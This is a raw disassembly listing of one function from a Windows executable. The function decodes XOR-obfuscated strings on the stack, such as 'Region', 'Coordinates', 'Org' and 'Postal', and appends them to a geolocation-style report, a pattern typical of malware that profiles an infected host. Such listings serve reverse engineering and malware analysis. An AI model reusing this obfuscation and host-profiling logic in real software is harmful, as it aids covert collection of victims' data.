lea rcx, [rbp]
call fcn.1400459dc
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], rbx
jb 0x1400e05c6
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.1400052c0
nop
lea rcx, [rbp]
call fcn.14000511c
nop
lea rcx, [rbp - 0x60]
call fcn.14000511c
mov word [rbp + 0x578], 0xa0b
mov byte [rbp + 0x57a], r14b
mov dword [rsp + 0x40], 0x1a182f7d
mov dword [rsp + 0x44], 0x47131214
mov word [rsp + 0x48], 0x5d
mov rax, r14
xor byte [rsp + rax + 0x41], sil
add rax, rdi
cmp rax, 8
jae 0x1400e0625
mov sil, byte [rsp + 0x40]
jmp 0x1400e0610
mov byte [rsp + 0x49], r14b
lea r8, [rbp + 0xa0]
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x60]
call fcn.140045acc
nop
lea r8, [rbp + 0x579]
mov rdx, rax
lea rcx, [rbp]
call fcn.1400459dc
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], rbx
jb 0x1400e0661
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.1400052c0
nop
lea rcx, [rbp]
call fcn.14000511c
nop
lea rcx, [rbp - 0x60]
call fcn.14000511c
mov word [rbp + 0x578], 0xa08
mov byte [rbp + 0x57a], r14b
mov cl, dil
mov byte [rsp + 0x40], cl
mov dword [rsp + 0x41], 0x6f746e42
mov dword [rsp + 0x45], 0x3b787375
mov word [rsp + 0x49], reloc.WLDAP32.dll_Ordinal_33
mov rax, r14
xor byte [rsp + rax + 0x41], cl
add rax, rdi
cmp rax, 9
jae 0x1400e06c5
mov cl, byte [rsp + 0x40]
jmp 0x1400e06b2
mov byte [rsp + 0x4a], r14b
lea r8, [rbp + 0xc0]
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x60]
call fcn.140045acc
nop
lea r8, [rbp + 0x579]
mov rdx, rax
lea rcx, [rbp]
call fcn.1400459dc
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], rbx
jb 0x1400e0701
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.1400052c0
nop
lea rcx, [rbp]
call fcn.14000511c
nop
lea rcx, [rbp - 0x60]
call fcn.14000511c
mov word [rbp + 0x578], 0xa0d
mov byte [rbp + 0x57a], r14b
mov cl, 0x35
mov dword [rsp + 0x40], 0x5a5a7635
mov dword [rsp + 0x44], 0x5b5c5147
mov dword [rsp + 0x48], 0x46504154
mov word [rsp + 0x4c], 0x150f
mov byte [rsp + 0x4e], r14b
mov rax, r14
xor byte [rsp + rax + 0x41], cl
add rax, rdi
cmp rax, 0xd
jae 0x1400e076d
mov cl, byte [rsp + 0x40]
jmp 0x1400e075a
mov byte [rsp + 0x4e], r14b
lea r8, [rbp + 0xe0]
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x60]
call fcn.140045acc
nop
lea r8, [rbp + 0x579]
mov rdx, rax
lea rcx, [rbp]
call fcn.1400459dc
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], rbx
jb 0x1400e07a9
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.1400052c0
nop
lea rcx, [rbp]
call fcn.14000511c
nop
lea rcx, [rbp - 0x60]
call fcn.14000511c
mov word [rbp + 0x578], 0xa29
mov byte [rbp + 0x57a], r14b
mov cl, 2
mov dword [rbp + 0x580], 0x65704d02
mov word [rbp + 0x584], 0x2238
mov byte [rbp + 0x586], r14b
mov rax, r14
xor byte [rbp + rax + 0x581], cl
add rax, rdi
cmp rax, 5
jae 0x1400e0810
mov cl, byte [rbp + 0x580]
jmp 0x1400e07f8
mov byte [rbp + 0x586], r14b
lea r8, [rbp + 0x100]
lea rdx, [rbp + 0x581]
lea rcx, [rbp - 0x60]
call fcn.140045acc
nop
lea r8, [rbp + 0x579]
mov rdx, rax
lea rcx, [rbp]
call fcn.1400459dc
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], rbx
jb 0x1400e0850
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.1400052c0
nop
lea rcx, [rbp]
call fcn.14000511c
nop
lea rcx, [rbp - 0x60]
call fcn.14000511c
mov word [rbp + 0x578], 0xa49
mov byte [rbp + 0x57a], r14b
mov cl, 0x55
mov dword [rsp + 0x40], 0x263a0555
mov dword [rsp + 0x44], 0x6f393421
mov word [rsp + 0x48], 0x75
mov rax, r14
xor byte [rsp + rax + 0x41], cl
add rax, rdi
cmp rax, 8
jae 0x1400e08af
mov cl, byte [rsp + 0x40]
jmp 0x1400e089c
mov byte [rsp + 0x49], r14b
lea r8, [rbp + 0x120]
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x60]
call fcn.140045acc
nop
lea r8, [rbp + 0x579]
mov rdx, rax
lea rcx, [rbp]
call fcn.1400459dc
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], rbx
jb 0x1400e08eb
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.1400052c0
nop
lea rcx, [rbp]
call fcn.14000511c
nop
lea rcx, [rbp - 0x60]
call fcn.14000511c
mov word [rbp + 0x578], 0xa02
mov byte [rbp + 0x57a], r14b
mov dword [rsp + 0x40], 0x35310c58
mov dword [rsp + 0x44], 0x3637223d
mov dword [rsp + 0x48], 0x78623d
mov rax, r14
xor byte [rsp + rax + 0x41], r13b
add rax, rdi
cmp rax, 0xa
jae 0x1400e094b
mov r13b, byte [rsp + 0x40]
jmp 0x1400e0936
mov byte [rsp + 0x4b], r14b
lea r8, [rbp + 0x140]
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x60]
call fcn.140045acc
nop
lea r8, [rbp + 0x579]
mov rdx, rax
lea rcx, [rbp]
call fcn.1400459dc
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], rbx
jb 0x1400e0987
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.1400052c0
nop
lea rcx, [rbp]
call fcn.14000511c
nop
lea rcx, [rbp - 0x60]
call fcn.14000511c
mov qword [rbp - 0x40], r14
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x30], xmm0
mov rdx, r15
lea rcx, [rbp - 0x40]
call fcn.140003f34
nop
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x40]
call fcn.140059680
nop
lea rcx, [rbp - 0x40]
call fcn.14000299c
lea rdx, [rbp + 0xc0]
lea rcx, [0x140216c58]
call fcn.1400dcf14
nop
lea rcx, [rbp + 0x60]
call fcn.1400def50
nop
lea rcx, [rbp - 0x20]
call fcn.14000511c
nop
mov rcx, r15
call fcn.14000299c
mov rbx, qword [rsp + 0x688]
add rsp, 0x630
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14018273c
nop
call fcn.140002ca0
nop
call fcn.14018273c
nop
call fcn.14018273c
nop
call fcn.14018273c
nop
call fcn.14018273c
nop
call fcn.14018273c
nop
call fcn.14018273c
nop
call fcn.14018273c
nop
call fcn.14018273c
int3